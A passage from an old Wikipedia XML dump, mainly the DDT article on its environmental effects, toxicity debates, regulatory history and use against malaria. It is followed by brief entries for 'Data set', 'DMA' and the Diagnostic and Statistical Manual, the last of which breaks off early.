DDT is a [[Persistent Organic Pollutant]] and highly persistent in the environment. It has a reported [[half life]] of between 2-15 years and is immobile in most soils. Its half life is 56 days in lake water and approximately 28 days in river water.  Routes of loss and degradation include runoff, volatilization, photolysis and [[biodegradation]] (aerobic and anaerobic). These processes generally occur slowly. Breakdown products in the soil environment are [[dichlorodiphenyldichloroethylene|DDE]] (1,1-dichloro-2,2-bis(p-dichlorodiphenyl)ethylene) and DDD (1,1-dichloro-2,2-bis(p-chlorophenyl)ethane), which are also highly persistent and have similar chemical and physical properties.

In the United States, human blood and fat tissue samples collected in the early [[1970s]] showed detectable levels in all samples. A later study of blood samples collected in the later half of the [[1970s]] showed that blood levels were declining further, but DDT or metabolites were still seen in a very high proportion of the samples.

DDT is an organochlorine. Some organochlorines have been shown to have weak [[estrogen]] ic activity, that is, they are chemically similar enough to estrogen to trigger hormonal responses in contaminated animals. This sort of activity has been observed in DDT in laboratory studies involving [[mouse]] and [[rat]] test [[research subject|subjects]], but available [[epidemiological]] evidence does not indicate that these effects have occurred in humans as a result of DDT exposure.

DDT and its metabolic products accumulate through the food chain, with [[apex predator]]s such as raptors having a higher concentration of the chemicals than other animals sharing the same environment.  In particular, DDT has been cited as a major reason for the decline of the [[bald eagle]] in the [[1950s]] and [[1960s]]. In general, however, DDT in small quantities has very little effect on birds; its primary metabolite, DDE, has a much greater impact. DDT and DDE have had little impact on some birds which are not apex predators, like the chicken.

DDT is highly toxic to aquatic life, including [[crayfish]], [[daphnids]], [[sea shrimp]] and many species of [[fish]].  DDT may be moderately toxic to some [[amphibian]] species, especially in the larval stages. In addition to acute toxic effects, DDT may bioaccumulate significantly in fish and other aquatic species, leading to long-term exposure.

Some research indicates DDT is not particularly [[toxic]] to [[human]]s, compared to other widely used pesticides. DDT can be applied directly to clothes and used in soap, with no demonstrated ill effects.[http://www.who.int/docstore/water_sanitation_health/vectcontrol/ch25.htm] Some studies have claimed there is no link between DDT and cancer in humans. [http://www.breastcancer.realage.com/content.aspx/topic/21] [http://healthfullife.umdnj.edu/archives/DDE_DDT_archive.htm] Indeed, DDT has been known to be administered orally as a treatment for barbiturate poisoning. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=4715198&amp;dopt=Abstract] However some other research seems to indicate there may be a link between DDT and breast cancer in humans [http://www.atsdr.cdc.gov/tfacts35.html#bookmark06] [http://www.pan-uk.org/pestnews/pn22/pn22p3.htm] [http://www.healthnewsexpress.com/Articles2003/StudyDDTBreastCancer.aspx]  In particular, Dr. Mary Wolf published a 1993 article in the ''Journal of the National Cancer Institute'' indicating a statistically significant link between DDT metabolites in the blood and the risks of developing breast cancer. Others have disputed this research.

Overall, it is known that DDT concentrates in biological systems (particularly in body fat), that it is a toxin (across a range of [[phylum|phyla]]), and that it [[bioaccumulation|bioaccumulates]] up the food chain, reaching its greatest concentrations in higher animals such as humans.

==History==

DDT was first synthesized in [[1873]] by [[Othmar Ziedler]], but its insecticidal properties were not discovered until [[1939]], by the [[Swiss]] scientist [[Paul Hermann Müller]], who was awarded the [[1948]] [[Nobel Prize]] in Physiology and Medicine for his efforts. DDT is the best-known of a number of chlorine-containing [[pesticide]]s used in the [[1940s]] and [[1950s]]. It was used extensively during [[World War II]] by Allied troops and certain civilian populations to control insect [[typhus]] and malaria vectors (as a result nearly eliminating typhus).     Civilian suppression used a spray on interior walls, which kills mosquitoes that rest on the wall after feeding to digest their meal; resistant strains are repelled from the area. Entire cities in Italy were dusted to control the typhus carried by [[lice]]. DDT also sharply reduced the incidence of biting midges in Great Britain.

DDT was responsible for eradicating malaria from Europe and North America. Though today malaria is thought of as a tropical disease, it was more widespread prior to an extensive malaria eradication program carried out in the [[1950]]s. Though this program was highly successful worldwide (reducing mortality rates from 192 per 100,000 to a low of 7 per 100,000), it was less effective in tropical regions due to the continuous life-cycle of the parasite and poor infrastructure. It was not pursued aggressively in sub-Saharan Africa due to perceived difficulties, with the result that mortality rates there were never reduced to the same dramatic extent, and now constitute the bulk of malarial deaths worldwide, especially following the resurgence of the disease as a result of microbe resistance to drug treatments and the spread of the deadly malarial variant caused by ''[[Plasmodium falciparum]]''.

DDT was also extensively used as an agricultural insecticide after [[1945]].

By the [[1950s]], in some uses, doses of DDT and other insecticides had to be doubled or tripled as resistant insect strains developed. In addition, the evidence began to grow that the chemical became more concentrated at higher levels in the food chain.

In the [[1970s]] and [[1980s]] DDT was banned in most developed countries.  DDT was first banned from use in [[Norway]] and [[Sweden]] in [[1970]] and was not banned in the [[United Kingdom]] until [[1984]].

=== The U.S. ban of DDT ===

In [[1962]] [[Rachel Carson]]'s book ''[[Silent Spring]]'' was published.  The book argued that [[pesticide]]s, and especially DDT, were poisoning both wildlife and the environment and also endangering human health.  The public reaction to ''Silent Spring'' launched the modern [[environmentalism|environmental movement]] in the United States, and DDT became a prime target of the growing anti-chemical and anti-pesticide movements during the [[1960s]]. In fact, Carson devoted a page of the book to thoughtful consideration of the relationship between DDT and malarial mosquitoes, but with cognizance of the phenomenon of development of resistance in the mosquito, concluding:
&lt;blockquote&gt;It is more sensible in some cases to take a small amount of damage in preference to having none for a time but paying for it in the long run by losing the very means of fighting [is the advice given in Holland by Dr Briejer in his capacity as director of the Plant Protection Service]. Practical advice should be 'Spray as little as you possibly can' rather than 'Spray to the limit of your capacity'.&lt;/blockquote&gt;

Charles Wurster, the chief scientist for the Environmental Defense Fund, was quoted in the Seattle Times of [[5 October]] [[1969]], as saying: &quot;If the environmentalists win on DDT, they will achieve a level of authority they have never had before. In a sense, much more is at stake than DDT.&quot; (Tren &amp; Bate, 2004). However, as pesticide research was still immature when it was written, many of the claims made in ''Silent Spring'' were ultimately scientifically inaccurate.

During the late 1960's, pressure grew within the United States for a ban on DDT.  In January 1971, the US District Court of Appeals ordered Ruckelshaus to begin the deregistration procedure for DDT. Initially, after a six-month review process, the [[Environmental Protection Agency|EPA]]'s first Administrator [[William Ruckelshaus]] rejected an outright ban, citing studies from the EPA's internal staff that stated that DDT was not an imminent danger to human health and wildlife. However, the findings of these staff members were criticized, as they were performed mostly by economic entomologists inherited from the [[United States Department of Agriculture]], whom many environmentalists felt were biased towards agribusiness and tended to minimize concerns about human health and wildlife. The decision not to ban thus created public controversy.

The [[Environmental Protection Agency|EPA]] held seven months of hearings in 1971-1972, with scientists giving evidence both for and against the use of DDT. In the summer of 1972, Ruckelshaus announced a ban on virtually all uses of DDT in the U.S., where it was classified in EPA Toxicity Class II.

This decision has been vigorously criticized by pro-DDT advocates, including [[Steven Milloy]], [[Roger Bate]] and [[Richard Tren]], whose critiques draw on the work of entomologist [[J. Gordon Edwards]], a pro-DDT witness at the hearings. They report that, at the end of the hearings, the hearing examiner, Edmund Sweeney, ruled that the scientific evidence provided no basis for banning DDT. In the summer of 1972 Ruckelshaus reviewed evidence collected during the agency's hearings as well as reports prepared by two DDT study groups (the [[Hilton Commission|Hilton]] and [[Mark Commission]]s) that had both come to the opposite conclusion. He did not actually attend any of the EPA commission's hearings however, and according to his aides did not read any transcripts of it. Ruckelshaus overturned Sweeny's ruling.  Ruckelshaus argued that the pesticide was &quot;a warning that man may be exposing himself to a substance that may ultimately have a serious effect on his health.&quot; (Tren &amp; Bate, 2004) (Milloy, 1999).

The [[1970s]] ban in the U.S. took place amid a climate of public mistrust of the scientific and industrial community, following such fiascoes as [[Agent Orange]] and use of the hormone [[diethylstilbestrol]] (DES). In addition, the fact that the [[bald eagle]] was placed on the endangered species list in large part because of the overuse of DDT was also a strong factor leading to its banning in the United States.

=== International regulation of DDT ===

As of [[2006]], DDT continues to be used in other (primarily tropical) countries where mosquito-borne malaria and typhus are greater health problems than DDT's potential toxicity. Use of DDT in public health to control mosquitoes is primarily done inside buildings and through inclusion in household products and selective spraying; this greatly reduces environmental impact compared to the earlier widespread use of DDT in agriculture. It also reduces the risk of resistance to DDT. A FAQ on how DDT is currently used against malaria is available at [http://www.malaria.org/DDTcosts.html]. This use only requires a small fraction of that previously used in agriculture; for the whole country of Guyana, covering an area of 215,000 km², the required amount is roughly equal to the amount of DDT that might previously be used to spray only 4 km² of cotton during a single growing season [http://www.cdc.gov/ncidod/eid/vol3no3/roberts.htm].

The [[Stockholm Convention]], ratified in [[2001]] and effective as of [[17 May]] [[2004]], calls for the elimination of DDT and other persistent organic pollutants, barring health crises.  The Convention was signed by 98 countries and is endorsed by most environmental groups.  However a total elimination of DDT use in many malaria-prone countries is currently unfeasible because there are few affordable or effective alternatives, so public health use of DDT is exempt from the ban until alternatives are developed.  Malaria Foundation International states:
:''The outcome of the treaty is arguably better than the status quo going into the negotiations over two years ago. For the first time, there is now an insecticide which is restricted to vector control only, meaning that the selection of resistant mosquitoes will be slower than before.[http://www.malaria.org/DDTpage.html]''

== DDT and malaria ==

Malaria infects between 300 million and 500 million people every year. The World Health Organization estimates that around 1 million people die from malaria every year. Most of those deaths (90%) occur in Africa and mostly in children under the age of 5. The economic impact includes costs of health care, working days lost to sickness, days lost in education, decreased productivity due to brain damage from cerebral malaria, and loss of investment and tourism (Tren &amp; Bate, 2004).

Most of the prior use of DDT was in agriculture. Current use for disease control requires only a small fraction of the amounts used previously and is much less likely to cause environmental problems. Residual house spraying involves the treating of all interior walls and ceilings with an insecticide, and is effective against mosquitoes that favour indoor resting before or after feeding. Advocated as the mainstay of malaria eradication programmes in the late 1950s and 1960s, it remains a major component of control programmes in southern African states, though many countries have abandoned or curtailed their spraying activities due to disillusionment over the failure to achieve eradication, concerns over the safety and environmental impact, and administrative, managerial and financial constraints on implementation. Such limited use of DDT has not become ineffective due to resistance in areas where it is used inside homes. [[Swaziland]], [[Mozambique]] and [[Ecuador]] are examples of countries that have very successfully reduced malaria incidence with DDT. 

There are insecticide alternatives to DDT, and [[Vietnam]] is often mentioned as a country that has seen a continued decline in malaria cases after involuntarily switching from DDT in 1991. However [[Thailand]], another South East Asian nation, has continued to use DDT and has a much smaller malaria rate despite similar conditions. The insecticide alternatives are generally more expensive, which limits their use in poor nations and in situations where anti-malarial efforts are already underfunded. It is doubtful that they are more  environmentally friendly or as efficient, easy to use and safe for humans as DDT.

However, in some areas DDT has lost much of its effectiveness, especially where outdoor transmission is predominant form, like in India. &quot;The declining effectiveness of DDT is a result of several factors which frequently operate in tandem. The first and the most important factor is vector resistance to DDT. All populations of the main vector, ''An. culicifacies'' have become resistant to DDT. The excito-repellent effect of DDT, often reported useful in other countries, actually promotes outdoor transmission&quot; (Current Science 85 1532-1537[http://www.ias.ac.in/currsci/dec102003/1532.pdf]) (pdf file)

In the period from 1934-1955 there were 1.5 million cases of malaria in [[Sri Lanka]] resulting in 80,000 deaths. After an extensive anti-mosquito program with DDT there were only 17 cases reported in 1963 and the program was halted. Malaria later rebounded to 600,000 cases in 1968 and the first quarter of 1969. Some proponents of DDT consider this an example of environmentalism trumping public well-being even though the use of DDT was ended more due to the lack of continuing need than due to environmental concerns. Spraying with DDT was resumed but many of the local mosquitoes had acquired resistance to DDT in the interim, presumably because of the continued use of DDT for crop protection, and so it was not nearly as effective as it had been previously. Switching to the more-expensive [[malathion]] in 1977 reduced the malaria infection rate to 3,000 by 2004. A recent study notes, &quot;DDT and Malathion are no longer recommended since ''An. culicifacies'' and ''An. subpictus'' has been found resistant.&quot; (Malaria Journal 2005 4:8[http://www.malariajournal.com/content/4/1/8])

In many African nations, the problems resulting from malaria are viewed as greater than the potential dangers of DDT. After [[South Africa]] stopped using DDT in 1996, the number of malaria cases in [[KwaZulu Natal]] province rose from 8,000 to 42,000 cases. By 2000, there had been an approximate 400 percent increase in malaria deaths. Today, thanks to DDT, the number of deaths from malaria in the region is less than 50. South Africa could afford and did try newer alternatives to DDT but they proved less effective (Tren &amp; Bate, 2004). [[Uganda]] also began permitting its use in anti-malarial efforts despite a threat that its agricultural products to Europe could be banned if contaminated with DDT. (EU warns Uganda over plans to use DDT to fight malaria, 2005). The country states it cannot achieve its development goals without first eliminating malaria. The GDP shows a striking co-relation between malaria and poverty, where malaria is estimated to reduce per capita growth by 1.3 percent per annum. (Lirri &amp; Ntabadde, 2005).  

Malaria cases increased in [[South America]] after stopping DDT use.  Only [[Ecuador]], which has continued to use DDT, has seen a reduction in the number of malaria cases in recent years [http://www.cdc.gov/ncidod/eid/vol3no3/roberts.htm]. Other mosquito-borne diseases are also on the rise. Until the 1970s, DDT was used to eradicate the ''[[Aedes aegypti]]'' mosquito from most tropical regions of the Americas. The reinvasion of ''Aedes aegypti'' since then has brought devastating outbreaks of [[dengue fever]], [[dengue hemorrhagic fever]], and a renewed threat of urban [[yellow fever]] (Bate, 2001).

In Mexico, however, use of a range of effective and affordable chemical and non-chemical strategies against malaria has been so successful that its DDT manufacturing plant ceased production voluntarily, due to lack of demand. [http://www.ems.org/malaria/ddt_ipen.pdf pdf] Furthermore, while the increased numbers of malaria victims since DDT usage fell out of favor would, at first glace, suggest 1:1 correlation, many other factors are known to have contributed to the rise in cases [See Below: Arguments for and against DDT]. Without detailed studies of how and why the spread of malaria has increased in some parts of the world, the claim that a DDT &quot;ban&quot; is to blame, amounts to [[Post hoc, ergo propter hoc|Post hoc ergo propter hoc]] .

One study that quantifies the lives saved due to banning agricultural use of DDT and thereby the spread of DDT resistance has been published in the scientific literature:  &quot;Correlating the use of DDT in El Salvador with renewed malaria transmission, it can be estimated that at current rates each kilo of insecticide added to the environment will generate 105 new cases of malaria.&quot; (''Agricultural production and malaria resurgence in Central America and India'', Chapin, Georgeanne &amp; Robert Wasserstrom, ''Nature'', Vol. 293, 1981, page 183). [http://timlambert.org/2005/10/chapin/]

It has been claimed that international donor organizations, including [[USAID]], have refused to fund public health DDT programs[http://www.fightingmalaria.org/faq.php]. The pro-DDT advocacy group [[Africa Fighting Malaria]] claims that onor organizations have often refused to fund public health DDT programs[http://www.fightingmalaria.org/faq.php]. Similarly, [[Roger Bate]] of AFM asserts that many countries have been coming under pressure from international health and environment agencies to give up DDT or face losing aid grants, and that  Belize and Bolivia are on record admitting they gave in to pressure on this issue from the US. Agency for International Development. [http://www.cid.harvard.edu/cidinthenews/articles/nr_051401.html].

However, the [http://www.usaid.gov/our_work/global_health/id/malaria/news/afrmal_ddt.html USAID website] says:
:''USAID Support for Malaria Control in Countries Using DDT 
:''Contrary to popular belief, USAID does not “ban” the use of DDT in its malaria control programs. From a purely technical point of view in terms of effective methods of addressing malaria, USAID and others have not seen DDT as a high priority component of malaria programs for practical reasons. In many cases, indoor residual spraying of DDT, or any other insecticide, is not cost-effective and is very difficult to maintain. In most countries in Africa where USAID provides support to malaria control programs, it has been judged more cost-effective and appropriate to put US government funds into preventing malaria through insecticide-treated nets, which are every bit as effective in preventing malaria and more feasible in countries that do not have existing, strong indoor spraying programs.

One insecticide supply company states on its [http://www.treated-bednet.com/agro-chemical.htm website]:
:''DDT still not banned for malaria control...DDT is still one of the first and most commonly used insecticides for residual spraying, because of its low cost, high effectiveness, persistence and relative safety to humans...In the past several years, we supplied DDT 75% WDP to Madagascar, Ethiopia, Eritrea, Sudan, South Africa, Namibia, Solomon Island, Papua New Guinea, Algeria, Thailand, Myanmar for Malaria Control project, and won a good reputation from WHO and relevant countries' government.


According to a pesticide industry newsletter, DDT is obsolete for malarial prevention in India not only owing to concerns over its toxicity, but because it is losing its effectiveness. Use for agriculture was banned in India in 1989, and use for malaria has been declining. Use of DDT in urban areas in India has halted completely. Food supplies and eggshells of large predator birds still show high DDT levels. (''No Future in DDT: A case study of India''. Agarwal, Ravi. ''Pesticide Safety News'', May 2001). Parasitology journal articles confirm that malarial vector mosquitoes have become resistant to DDT and HCH in most of India. (''Current scenario of malaria in India'', Sharma, V.P., ''Parassitologia'' 41: 349-53, 1999). Nevertheless, DDT is still manufactured and used in India [http://www.unce.unr.edu/publications/SP03/SP0316.pdf].

A recent editorial in the [[British Medical Journal]], argues that the campaign against malaria is failing,  that funding of malaria control should therfore be increased, and the use of DDT should be considered since DDT has &quot;a remarkable safety record when used in small quantities for indoor spraying in endemic regions&quot;.[http://bmj.bmjjournals.com/cgi/content/full/328/7448/1086]

Actual data on the cost-effectiveness of DDT versus other insecticides and/or means of fighting malaria is, in fact, lacking. One complicating factor is that the relative costs of various measures varies, depending on geographical location and ease of access, the habits of the particular mosquito vector prevalent in each area, the degrees of resistance to various pesticides exhibited by the mosquitoes, the habits and compliance of the population, among other factors. 

A review of fourteen studies on the subject in sub-Saharan Africa, covering insecticide-treated nets, residual spraying, chemoprophylaxis for children, chemoprophylaxis or intermittent treatment for pregnant women, a hypothetical vaccine, and changing the first line drug for treatment, found decision making limited by the gross lack of information on the costs and effects of many interventions, the very small number of cost-effectiveness analyses available, the lack of evidence on the costs and effects of packages of measures, and the problems in generalizing or comparing studies that relate to specific settings and use different methodologies and outcome measures. The two cost-effectiveness estimates of DDT residual spraying examined were not found to provide an accurate estimate of the cost-effectiveness of DDT spraying; furthermore, the resulting estimates may not be good predictors of cost-effectiveness in current programmes. (''The evidence base on the cost-effectiveness of malaria control measures in Africa'' C. A. Goodman and A. J. Mills, ''Health Policy and Planning''; 14(4): 301–312 1999 [http://heapol.oxfordjournals.org/cgi/reprint/14/4/301.pdf pdf]) 

However, a study in Thailand found the cost per malaria case prevented of DDT spraying ($1.87 US), to be 21% greater than the cost per case prevented of lambdacyhalothrin-treated nets, ($1.54 US). (''Cost-effectiveness and sustainability of lambdacyhalothrin-treated mosquito nets in comparison to DDT spraying for malaria control in western Thailand'' Kamolratanakul, P., P. Butraporn, M. Prasitisuk, C. Prasittisuk, and K. Indaratna,  ''American Journal of Tropical Medicine and Hygiene'' 2001, 65(4), 279-84), at very least casting some doubt on the unexamined assumption that DDT would be the most cost-effective measure to use in all cases. The director of Mexico’s malaria control program finds similar results, declaring that it is 25 percent cheaper for Mexico to spray a house with other chemicals (synthetic pyrethroids) than with DDT. ([http://www.ems.org/malaria/ddt_ipen.pdf pdf])

Furthermore, a more effective way of measuring cost effectiveness or efficacy of malarial control would not only measure the cost in dollars of the project, as well as the number of people saved, but would also take into account the negative aspects of insecticide use on human health and ecological impact. Preliminary studies as to the impact of DDT show that, it is likely that the detrimental impact on human health approaches or exceeds the beneficial reductions in malarial cases, except perhaps in malarial epidemic situations (see [http://www.jcu.edu.au/jrtph/vol/v04corin.pdf Corin, S. E &amp; Weaver, S.A. (2005) A risk analysis model with an ecological perspective on DDT and malaria control in South Africa, ''Journal of Rural and Tropical Public Health'' '''4''': 21-32]).

== Arguments for and against DDT ==

Many supporters of DDT state that millions of malaria deaths are due to an international ban: 90,500,000 as of January, 2006, according to the ever-increasing &quot;deathclock&quot; at junkscience.com[http://junkscience.com/malaria_clock.htm], and hundreds of thousands according to Nicholas Kristof[http://query.nytimes.com/gst/abstract.html?res=F40B1EFB3F580C718DDDAA0894DD404482&amp;n=Top%252fOpinion%252fEditorials%2520and%2520Op%252dEd%252fOp%252dEd%252fColumnists%252fNicholas%2520D%2520Kristof]. Popular author [[Michael Crichton]] states in his novel ''[[State of Fear]]'':

&lt;blockquote&gt;Since the ban, two million people a year have died unnecessarily from malaria, mostly children. The ban has caused more than fifty million needless deaths. Banning DDT killed more people than Hitler. (page 487) &lt;/blockquote&gt;

One of the salient pro-DDT arguments is that the treatment was used long enough to eliminate insect-borne diseases in the West but now that it is only needed in poorer countries in Africa, Asia and elsewhere it has been banned.  Paul Driessen, author of ''Eco-Imperialism: Green Power, Black Death'', argues that the epidemic of malaria in Africa not only takes the lives of 2 million people a year, but leaves those who survive malaria unable to contribute to the economy while sick and more vulnerable to subsequent diseases that might kill them.  Many African resources are tied up with the sick or in caring for them, leaving the world's poorest countries even poorer. While raising important questions about how the West deals with health crises in the Third World, the core of the argument made by Driessen and others is questioned.

Although the publication of ''Silent Spring'' undoubtedly influenced the U.S. ban on DDT in 1972, the reduced usage of DDT in malaria eradication began the decade before because of the emergence of DDT-resistant mosquitos. Indeed Paul Russell, a former head of the Allied Anti-Malaria campaign observed that eradication programs had to be wary relying on DDT for too long as &quot;resistance has appeared [after] six or seven years.&quot; [Garret, 1994]

Furthermore, the application of DDT that proved most troubling to environmentalists (and indeed, health officials) was in agriculture. Even as anti-malaria programs were reducing their usage of DDT, producers of cotton and other cash crops were spraying ever increasing amounts of the pesticide, further limiting DDT's overall effectiveness. As noted above, El Salvador actually saw its cases of malaria increase during years of high DDT usage, directly contradicting the claims of Crichton and others. [Chapin &amp; Wasserstrom, 1981]

Were DDT used in the way its supporters propose it may do more harm than good in the fight against malaria. While anti-environmentalists like to paint a picture of radicals endangering human life to save a few birds, even Carson herself pointed out in &quot;Silent Spring&quot; that :

&lt;blockquote&gt;&quot;No responsible person contends that insect-borne disease should be ignored ... The question that has now urgently presented itself is whether it is wise or responsible to attack the problem by methods that are rapidly making it worse.&quot;&lt;/blockquote&gt;

Indeed, the problems facing health officials in their fight against malaria neither begin nor end with DDT. Experts tie the spread of malaria to numerous factors including the resistance of the malaria microbe itself to the drugs traditionally used to treat the illness [http://info-pollution.com/ddtban.htm] and a chronic lack of funds in the worst hit countries. The latter was perhaps made worse when the U.S. withdrew funding from an early and effective eradication program in 1963 [Garret, 1994].

The general thesis of DDT supporters is that the alternatives to DDT are generally more expensive, more toxic to humans and not always as effective at controlling malaria and insect-borne diseases. However, the primary worry of many experts is not the usage of DDT per se, but a potential overuse (however difficult this is to define with exactitude).

The controlled usage of DDT continues to this day for the purposes of public health and, to a lesser extent, agriculture. The U.S. has continued to use DDT under the conditions of the 1972 ban.

== External links ==

=== Toxicity ===

*[http://www.atsdr.cdc.gov/tfacts35.html Agency for Toxic Substances and Disease Registry: ToxFAQs for DDT, DDE and DDD]
*[http://www.atsdr.cdc.gov/toxprofiles/tp35-c9.pdf CDC ATSDR DDT toxicity reference list (PDF)]
*[http://extoxnet.orst.edu/pips/ddt.htm EXTOXNET: Pesticide Information Profiles&amp;mdash;DDT]
*[http://extoxnet.orst.edu/pips/reflist6.htm Oregon State University EXTOXNET DDT toxicity reference list]
*[http://www.scorecard.org/chemical-profiles/summary.tcl?edf_substance_id=50-29-3 Scorecard: The Pollution Information Site&amp;mdash;DDT]

=== Environmental impact ===

*[http://jan.ucc.nau.edu/doetqp/courses/env440/lectures/lec25/lec25.html Microbial Degradation of Pesticides]
*[http://www.inchem.org/documents/ehc/ehc/ehc83.htm DDT and its Derivatives - Environmental Aspects]
*[http://umbbd.ahc.umn.edu/ddt/ddt_map.html Aerobic pathway of DDT metabolization]
*[http://umbbd.ahc.umn.edu/ddt2/ddt2_map.html Anaerobic pathway of DDT metabolization]
*[http://www.inchem.org/documents/jmpr/jmpmono/v00pr03.htm Pesticide residues in food 2000 : DDT]
*[http://www.inchem.org/documents/jmpr/jmpmono/v84pr49.htm Pesticide residues in food&amp;mdash;1984]
*[http://www.ces.clemson.edu/ees/lee/organochlorines.html  Environmental Fate Evaluation of DDT, Chlordane and Lindane]
*[http://www.reason.com/rb/rb010704.shtml DDT, Eggshells, and Me]
*[http://www.epa.gov/history/publications/formative6.htm EPA : Pesticides and Public Health]

=== Malaria and DDT ===
*[http://www.3billionandcounting.com Site claiming 3 billion (sic) deaths due to DDT ban]
*[http://www.washingtonpost.com/wp-dyn/content/article/2005/06/04/AR2005060400130.html If Malaria's the Problem, DDT's Not the Only Answer], a [[Washington Post]] column by [[entomologist]] May Berenbaum
*[http://www.gladwell.com/2001/2001_07_02_a_ddt.htm The Mosquito Killer], a ''[[The New Yorker|New Yorker]]'' article about [[Fred Soper]] by [[Malcolm Gladwell]]
*[http://info-pollution.com/ddtban.htm The DDT ban myth]
*[http://www.iea.org.uk/files/upld-publication26pdf?.pdf Malaria and the DDT Story]
*[http://www.sourcewatch.org/index.php?title=Malaria_and_DDT Malaria and DDT]
*[http://kenethmiles.blogspot.com/2004_02_01_kenethmiles_archive.html#107570569615970184 Putting Myths to Bed]
*The [http://www.fightingmalaria.org/news.php?ID=575 Kill Malarial Mosquitoes NOW!] coalition, a project of the international [[NGO]] [[Africa Fighting Malaria]]

==References==

* [http://www.fightingmalaria.org/faq.php#g2 Africa fighting malaria FAQ] Retrieved Feb. 16, 2005.
* Bailey, R. ([[12 June]] [[2002]]). [http://reason.com/rb/rb061202.shtml ''Silent Spring'' at 40: Rachel Carson&amp;#8217;s classic is not aging well] ''Reason Online'',
* Bate, R. ([[24 April]] [[2001]]). [http://www.spiked-online.com/Articles/000000005591.htm Without DDT, malaria bites back] ''spiked-online.com''
* [http://www.eubusiness.com/Trade/050202110354.lpm3ezfm/view?searchterm=ddt%20uganda EU warns Uganda over plans to use DDT to fight malaria] ([[2 February]] [[2005]]) EUbusiness.com
* Chapin, G. &amp; Robert W. (1981) [http://timlambert.org/2005/10/chapin/ Agricultural production and malaria resurgence in Central America and India], ''Nature'', '''293''', 181-185.
* [http://www.jcu.edu.au/jrtph/vol/v04corin.pdf Corin, S. E &amp; Weaver, S.A. (2005) A risk analysis model with an ecological perspective on DDT and malaria control in South Africa, ''Journal of Rural and Tropical Public Health'' '''4''': 21-32] 
* Garrett, L. (1994) The Coming Plague: Newly Emerging Diseases in a World Out of Balance, Penguin Books, UK.
* Lirri, E. &amp; Ntabadde, A. ([[15 February]] [[2005]]) [http://allafrica.com/stories/200502150787.html Experts Defend DDT Use] ''Allafrica.com''
* Lundholm, C. E. (1997) DDE-induced eggshell thinning in birds: Effects of p, p′-DDE on the calcium and prostaglandin metabolism of the eggshell gland. ''Comparative Biochemistry and Physiology Part C: Pharmacology, Toxicology and Endocrinology'' '''118''' (2), 113-128.
* Milloy, S. J. (1999) [http://www.junkscience.com/ddtfaq.htm 100 things you should know about DDT.] Retrieved Feb. 16, 2005.
* Risebrough, R. W. (1998). [http://www.umich.edu/~esupdate/library/98.05-06/risebrough.html Endocrine Disrupters and Bald Eagles: A Response].
* Roberts, D. R. (2004) [http://www.eco-imperialism.com/Roberts%20-%20Senate%20testimony%20-%20malaria.pdf Testimony, United States Senate, Committee on Foreign Relations].
* Tren, R. &amp; Bate, R. (2004) [http://www.cato.org/pubs/pas/pa-513es.html South Africa's War against Malaria: Lessons for the Developing World], ''Cato Policy Analysis'' No. 513.

[[Category:Organochloride insecticides]]
[[Category:Persistent organic pollutants]]

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  <page>
    <title>Data set</title>
    <id>8495</id>
    <revision>
      <id>36174796</id>
      <timestamp>2006-01-22T04:09:44Z</timestamp>
      <contributor>
        <username>EncycloPetey</username>
        <id>474828</id>
      </contributor>
      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">In [[statistics]], a '''data set''' is a [[set]] of [[data]] consisting of:
#a list of [[research subject|research subjects]] and
#the [[data vector]] associated with each.

See also: [[Statistical theory]]
------
Another meaning: [[Data set (IBM mainframe)]]
[[Category:Statistics]]

{{science-stub}}
{{statistics-stub}}</text>
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  <page>
    <title>DMA</title>
    <id>8496</id>
    <revision>
      <id>37507586</id>
      <timestamp>2006-01-31T12:24:08Z</timestamp>
      <contributor>
        <username>RoboDick</username>
        <id>815650</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ja</comment>
      <text xml:space="preserve">'''DMA''' can refer to:
* In [[computing]]:
** [[Direct memory access]] (most common)
** [[Dynamic memory allocation]]
** [[Document Management Alliance]]
** DMA Design - The former name of [[Rockstar North]], a game developer
* [[Digital media adapter]] - In [[consumer electronics]], for use between computers and other equipment (stereos, TVs, etc.)
* [[Direct Marketing Association]] - A trade organization
* [[Doctor of Musical Arts]] - A postgraduate educational degree
* In [[mechanical engineering]]:
** [[Dynamic Mechanical Analysis]] - A [[thermal analysis]] technique
** [[Dynamic Mechanical Analyser]] - An instrument for perfoming Dynamic Mechanical Analysis
* [[Media market|Designated Market Area]] - A synonym for [[media market]]
* Defense Mapping Agency - Predecessor of the [[National Geospatial-Intelligence Agency]]
* Direct Market Access - Used in [[financial markets]]
* In [[chemistry]]:
** [[dimethylamine]] - An organic compound
** [[dimethylacetamide]] - An organic solvent

{{TLAdisambig}}

[[da:DMA]]
[[de:DMA]]
[[fr:DMA]]
[[ja:DMA]]</text>
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  <page>
    <title>DSM-IV</title>
    <id>8497</id>
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      <id>26236109</id>
      <timestamp>2005-10-23T01:55:30Z</timestamp>
      <contributor>
        <username>Tejastheory</username>
        <id>178386</id>
      </contributor>
      <minor />
      <comment>revert - sorry, edited wrong page</comment>
      <text xml:space="preserve">#REDIRECT [[Diagnostic and Statistical Manual of Mental Disorders]] {{r_from_abbreviation}}</text>
    </revision>
  </page>
  <page>
    <title>Diagnostic and Statistical Manual of Mental Disorders</title>
    <id>8498</id>
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      <id>42085475</id>
      <timestamp>2006-03-03T18:58:24Z</timestamp>
      <contributor>
        <ip>208.143.235.3</ip>
      </contributor>
      <text xml:space="preserve">[[Image:DSM-IV.jpg|thumb|200px|The Diagnostic and Statistical Manual published by the American Psychiatric Association]]

The '''''Diagnostic and Statistical Manual of Mental Disorders''''', published by the [[American Psychiatric Association]], is the handbook used most often in diagnosing [[mental disorder]]s in the [[United States]] and internationally.  The ''[[International Statistical Classification of Diseases and Related Health Problems]]'' (ICD) is a commonly-used alternative. Both assume medical concepts and terms, and propose that there are numerous categorical disorders that can be distinctly diagnosed by set lists of criteria. 

Some psychologists have stated that they use DSM primarily for completing forms for the government or insurance companies, some of which require a patient to be classified by a diagnosis. 

==Development==
